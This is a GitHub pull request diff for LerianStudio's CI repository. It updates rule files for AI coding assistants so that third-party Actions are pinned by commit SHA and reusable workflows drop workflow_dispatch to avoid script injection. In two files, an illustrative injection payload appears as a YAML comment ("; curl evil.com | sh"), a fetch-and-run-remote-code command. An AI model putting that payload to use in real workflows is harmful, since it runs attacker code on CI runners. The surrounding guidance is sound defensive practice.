Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
0e17a8a
refactor(pr-validation): modularize workflow into composites under sr…
bedatty Mar 24, 2026
a8aebf0
fix(pr-validation): address CodeRabbit and CodeQL review findings
bedatty Mar 24, 2026
99dd556
fix(helm-update-chart): use VALUES_KEY for template file paths instea…
gandalf-at-lerian Mar 25, 2026
f7b22fa
fix(helm-update-chart): quote GITHUB_OUTPUT and GITHUB_STEP_SUMMARY r…
bedatty Mar 25, 2026
566bf29
fix(helm-update-chart): resolve CodeQL medium findings
bedatty Mar 25, 2026
1bb25cd
docs(rules): enforce commit SHA pinning for third-party actions
bedatty Mar 25, 2026
dc22651
Merge pull request #168 from LerianStudio/fix/helm-update-chart-path-bug
bedatty Mar 25, 2026
bc414d0
refactor(pr-validation): extract pr-checks-summary composite and use …
bedatty Mar 25, 2026
1fd5fa8
fix(pr-validation): add missing README and fix broken doc link
bedatty Mar 25, 2026
fd277d0
refactor(pr-validation): optimize to 2-tier fail-fast model
bedatty Mar 25, 2026
1748e31
fix(pr-changelog): remove comment logic — changelog is auto-generated
bedatty Mar 25, 2026
943db14
fix(pr-validation): default enforce_source_branches to true
bedatty Mar 25, 2026
83d82e5
fix(pr-description): validate real content instead of raw length
bedatty Mar 25, 2026
3b51195
feat(pr-metadata): auto-assign PR author instead of warning
bedatty Mar 25, 2026
8bc6ebd
fix(pr-size): skip label update when unchanged and remove XL comment
bedatty Mar 25, 2026
2a4a541
fix(pr-labels): pin actions/labeler to commit SHA
bedatty Mar 25, 2026
8d11a57
refactor(pr-validation): remove changelog check and pin all actions b…
bedatty Mar 25, 2026
c15e1db
fix(pr-checks-summary): use markdown tables grouped by tier
bedatty Mar 25, 2026
4a8e866
fix(pr-validation): address CodeRabbit review findings
bedatty Mar 25, 2026
865936d
fix(pr-validation): sync defaults, fix caller, update docs
bedatty Mar 25, 2026
606c88a
fix(pr-validation): pin composite refs to v1.19.1-beta.2
bedatty Mar 25, 2026
4a70c58
Merge pull request #164 from LerianStudio/refactor/modularize-pr-vali…
bedatty Mar 25, 2026
bd3661f
fix(lint): enforce SHA pinning for externals, warnings for internals
bedatty Mar 25, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 3 additions & 1 deletion .claude/commands/composite.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu

- Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic
- Wrap it in a composite if it needs input normalization or additional steps
- Pin to a specific tag or SHA — never `@main` or `@master`
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
- Never use `@main` or `@master` for third-party actions
- Document in the composite `README.md` why that action was chosen

Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
Expand Down
79 changes: 67 additions & 12 deletions .claude/commands/gha.md
Original file line number Diff line number Diff line change
Expand Up @@ -119,7 +119,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu

- Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic
- If the action needs wrapping, create a composite in `src/` — don't inline complex shell directly in a workflow
- Pin to a specific tag or SHA — never `@main` or `@master`
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a comment with the version for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot will propose SHA bumps automatically.
- `LerianStudio/*` actions are pinned by **release tag** (e.g., `@v1.2.3`) or branch (`@develop` for testing)
- Never use `@main` or `@master` for third-party actions
- Document in the README or `docs/` why that action was chosen

Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
Expand Down Expand Up @@ -223,7 +225,7 @@ runs-on: self-hosted

Every reusable workflow must:
- support `workflow_call` (for external callers)
- support `workflow_dispatch` (for manual testing)
- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch))
- expose explicit `inputs` — never rely on implicit context
- **always include a `dry_run` input** (`type: boolean`, `default: false`)

Expand All @@ -242,15 +244,6 @@ on:
secrets:
DEPLOY_TOKEN:
required: true
workflow_dispatch:
inputs:
environment:
required: true
type: string
dry_run:
description: Preview changes without applying them
type: boolean
default: false
```

## Step section titles
Expand Down Expand Up @@ -466,16 +459,78 @@ uses: ./src/setup-go # resolves to caller's workspace, not this repo

# ❌ Mutable ref on third-party actions
uses: some-action/tool@main

# ❌ Third-party action pinned by tag (tags are mutable)
uses: actions/checkout@v6
uses: crazy-max/ghaction-import-gpg@v7

# ✅ Third-party action pinned by commit SHA
uses: actions/checkout@abc123def456 # v6
uses: crazy-max/ghaction-import-gpg@2dc316deee8e # v7
```

## Security rules

- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically.
- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions
- Never use `@main` or `@master` for third-party actions
- Never interpolate untrusted user input directly into `run:` commands
- Never print secrets via `echo`, env dumps, or step summaries
- Complex conditional logic belongs in the workflow, not in composites

### Script injection & `workflow_dispatch`

`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context.

**Why reusable workflows must NOT have `workflow_dispatch`:**

1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands.
2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value.
3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`.

```yaml
# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch
on:
workflow_call:
inputs:
environment:
type: string
workflow_dispatch:
inputs:
environment: # string — attacker can inject: "; curl evil.com | sh"
type: string

# ✅ Reusable workflow — workflow_call only
on:
workflow_call:
inputs:
environment:
type: string

# ✅ self-* entrypoint provides the manual trigger with safe defaults
name: Self — Deploy
on:
workflow_dispatch:
inputs:
environment:
type: choice # choice, not free-text — no injection
options: [staging, production]
jobs:
deploy:
uses: ./.github/workflows/deploy.yml
with:
environment: ${{ inputs.environment }}
secrets: inherit
```

**When `workflow_dispatch` is allowed on a reusable workflow:**

Only when **all** of the following are true:
- The workflow is **not consumed by external repos** (internal-only)
- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`**
- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions
- The decision is documented with a `# Security: workflow_dispatch approved — <reason>` comment

---

# Composite Actions — Rules & Conventions
Expand Down
77 changes: 65 additions & 12 deletions .claude/commands/workflow.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt

- Prefer a well-maintained action over custom shell scripting for non-trivial logic
- If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself
- Pin to a specific tag or SHA — never `@main` or `@master`
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
- Never use `@main` or `@master` for third-party actions
- Document in `docs/<workflow-name>.md` why that action was chosen

Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
Expand Down Expand Up @@ -114,7 +116,7 @@ runs-on: self-hosted

Every reusable workflow must:
- support `workflow_call` (for external callers)
- support `workflow_dispatch` (for manual testing)
- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch))
- expose explicit `inputs` — never rely on implicit context
- **always include a `dry_run` input** (`type: boolean`, `default: false`)

Expand All @@ -133,15 +135,6 @@ on:
secrets:
DEPLOY_TOKEN:
required: true
workflow_dispatch:
inputs:
environment:
required: true
type: string
dry_run:
description: Preview changes without applying them
type: boolean
default: false
```

## Configurability — expose composite toggles as workflow inputs
Expand Down Expand Up @@ -340,16 +333,76 @@ uses: ./src/setup-go # resolves to caller's workspace, not this repo

# ❌ Mutable ref on third-party actions
uses: some-action/tool@main

# ❌ Third-party action pinned by tag (tags are mutable)
uses: actions/checkout@v6

# ✅ Third-party action pinned by commit SHA
uses: actions/checkout@abc123def456 # v6
```

## Security rules

- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically.
- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions
- Never use `@main` or `@master` for third-party actions
- Never interpolate untrusted user input directly into `run:` commands
- Never print secrets via `echo`, env dumps, or step summaries
- Complex conditional logic belongs in the workflow, not in composites

### Script injection & `workflow_dispatch`

`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context.

**Why reusable workflows must NOT have `workflow_dispatch`:**

1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands.
2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value.
3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`.

```yaml
# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch
on:
workflow_call:
inputs:
environment:
type: string
workflow_dispatch:
inputs:
environment: # string — attacker can inject: "; curl evil.com | sh"
type: string

# ✅ Reusable workflow — workflow_call only
on:
workflow_call:
inputs:
environment:
type: string

# ✅ self-* entrypoint provides the manual trigger with safe defaults
name: Self — Deploy
on:
workflow_dispatch:
inputs:
environment:
type: choice # choice, not free-text — no injection
options: [staging, production]
jobs:
deploy:
uses: ./.github/workflows/deploy.yml
with:
environment: ${{ inputs.environment }}
secrets: inherit
```

**When `workflow_dispatch` is allowed on a reusable workflow:**

Only when **all** of the following are true:
- The workflow is **not consumed by external repos** (internal-only)
- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`**
- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions
- The decision is documented with a `# Security: workflow_dispatch approved — <reason>` comment

### Reserved names — never use as custom secret or input names

Never declare secrets or inputs using GitHub's reserved prefixes — they break jobs silently:
Expand Down
4 changes: 3 additions & 1 deletion .cursor/rules/composite-actions.mdc
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu

- Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic
- Wrap it in a composite if it needs input normalization or additional steps
- Pin to a specific tag or SHA — never `@main` or `@master`
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
- Never use `@main` or `@master` for third-party actions
- Document in the composite `README.md` why that action was chosen

Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
Expand Down
7 changes: 5 additions & 2 deletions .cursor/rules/reusable-workflows.mdc
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt

- Prefer a well-maintained action over custom shell scripting for non-trivial logic
- If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself
- Pin to a specific tag or SHA — never `@main` or `@master`
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
- Never use `@main` or `@master` for third-party actions
- Document in `docs/<workflow-name>.md` why that action was chosen

Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
Expand Down Expand Up @@ -408,7 +410,8 @@ uses: some-action/tool@main # use a specific tag or SHA

## Security rules

- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated
- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically.
- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions
- Never use `@main` or `@master` for third-party actions
- Never interpolate untrusted user input directly into `run:` commands
- Never print secrets via `echo`, env dumps, or step summaries
Expand Down
4 changes: 4 additions & 0 deletions .github/labels.yml
Original file line number Diff line number Diff line change
Expand Up @@ -91,3 +91,7 @@
- name: lint
color: "7c3aed"
description: Changes to linting and code quality checks

- name: validate
color: "1d76db"
description: Changes to PR validation composite actions (src/validate/)
Loading
Loading